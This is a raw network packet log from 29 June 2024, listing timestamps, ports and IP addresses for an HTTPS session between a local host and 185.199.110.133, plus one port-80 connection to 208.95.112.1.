Jun 29, 2024 16:30:04.987008095 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:04.987035990 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:04.987051964 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:04.990034103 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:04.990048885 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:04.990096092 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:04.990113020 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:04.990144014 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:04.990160942 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:04.990695953 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:04.990711927 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:04.990770102 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:04.990782022 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:04.990962982 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:04.991949081 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:04.991965055 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:04.992007017 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:04.992021084 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:04.992063046 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:04.992104053 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.056773901 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.056823015 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.056869030 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.056915998 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.056951046 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.057229042 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.061542988 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.061559916 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.061657906 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.061697006 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.061763048 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.074821949 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.074836969 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.074904919 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.074955940 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.075014114 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.075316906 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.075336933 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.075386047 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.075403929 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.075431108 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.075484991 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.075642109 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.075655937 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.075730085 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.075730085 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.075763941 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.075814009 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.078998089 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.079014063 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.079072952 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.079088926 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.079113007 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.079134941 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.079484940 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.079500914 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.079566956 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.079581022 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.079622984 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.080678940 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.080693007 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.080744982 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.080759048 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.080881119 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.145668030 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.145684958 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.145767927 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.145831108 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.145893097 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.150296926 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.150314093 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.150362015 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.150378942 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.150408030 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.150428057 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.163568974 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.163588047 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.163676023 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.163692951 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.163845062 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.164067984 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.164091110 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.164144039 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.164156914 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.164182901 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.164264917 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.164634943 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.164650917 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.164695024 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.164707899 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.164733887 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.164750099 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.167685986 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.167701960 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.167748928 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.167762041 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.167793989 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.167814016 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.168226004 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.168243885 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.168289900 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.168302059 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.168337107 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.168356895 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.169585943 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.169601917 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.169653893 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.169667006 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.169692039 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.169719934 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.234996080 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.235023975 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.235161066 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.235249043 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.236629009 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.239348888 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.239367962 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.239439964 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.239475012 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.239630938 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.252702951 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.252720118 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.252774000 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.252789974 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.252815962 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.252834082 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.253177881 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.253192902 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.253226042 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.253231049 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.253252983 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.253267050 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.253474951 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.253489017 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.253529072 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.253534079 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.256910086 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.256932974 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.256963015 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.256979942 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.256995916 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.257016897 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.257319927 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.257335901 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.257374048 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.257378101 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.257390022 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.257406950 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.258517027 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.258532047 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.258570910 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.258579016 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.260620117 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.261933088 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.323760033 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.323779106 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.323869944 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.323942900 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.327364922 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.328001022 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.328018904 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.328088999 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.328088999 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.328131914 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.328182936 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.341526985 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.341541052 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.341599941 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.341623068 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.341638088 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.341664076 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.341963053 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.341979027 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.342014074 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.342024088 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.342041016 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.342065096 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.342395067 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.342412949 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.342446089 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.342457056 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.342469931 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.342504025 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.345772028 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.345788956 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.345846891 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.345860004 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.345907927 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.346301079 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.346317053 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.346353054 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.346359968 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.346391916 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.346405983 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.347363949 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.347388983 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.347424984 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.347438097 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.347451925 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.347495079 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.412564993 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.412585974 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.412719965 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.412786007 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.413620949 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.417041063 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.417057037 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.417126894 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.417150021 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.419637918 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.430636883 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.430654049 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.430728912 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.430766106 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.430820942 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.430821896 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.431010962 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.431025982 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.431085110 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.431101084 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.431149006 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.431793928 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.431807041 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.431869030 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.431885004 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.432113886 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.434858084 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.434874058 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.434962988 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.434977055 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.435096979 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.435324907 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.435339928 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.435405016 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.435417891 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.435471058 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.436199903 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.436217070 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.436280012 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.436292887 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.436347961 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.496227026 CEST	49709	80	192.168.2.8	208.95.112.1
Jun 29, 2024 16:30:05.501725912 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.501753092 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.501807928 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.501863003 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.501893044 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.502058029 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.505947113 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.505969048 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.506012917 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.506028891 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.506056070 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.506073952 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.519853115 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.519874096 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.519922972 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.519953966 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.519979954 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.520037889 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.520191908 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.520205021 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.520271063 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.520284891 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.520327091 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.520591021 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.520606995 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.520654917 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.520667076 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.520700932 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.520895004 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.523838043 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.523859024 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.523905993 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.523922920 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.523950100 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.524013042 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.524348974 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.524367094 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.524413109 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.524425983 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.524601936 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.526127100 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.526141882 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.526218891 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.526232004 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.526314974 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.549897909 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.549942017 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.549963951 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.549979925 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.550000906 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.550025940 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.595398903 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.595422029 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.595484018 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.595572948 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.595614910 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.595638990 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.608210087 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.608231068 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.608305931 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.608360052 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.608433008 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.608886003 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.608912945 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.608958960 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.608975887 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.609004021 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.609025955 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.609498978 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.609517097 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.609571934 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.609590054 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.609612942 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.609637976 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.612607956 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.612622023 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.612683058 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.612699032 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.612785101 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.612971067 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.612984896 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.613032103 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.613045931 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.613070965 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.613104105 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.614675999 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.614690065 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.614732027 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.614761114 CEST	443	49707	185.199.110.133	192.168.2.8
Jun 29, 2024 16:30:05.614789009 CEST	49707	443	192.168.2.8	185.199.110.133
Jun 29, 2024 16:30:05.614809036 CEST	49707	443	192.168.2.8	185.199.110.133
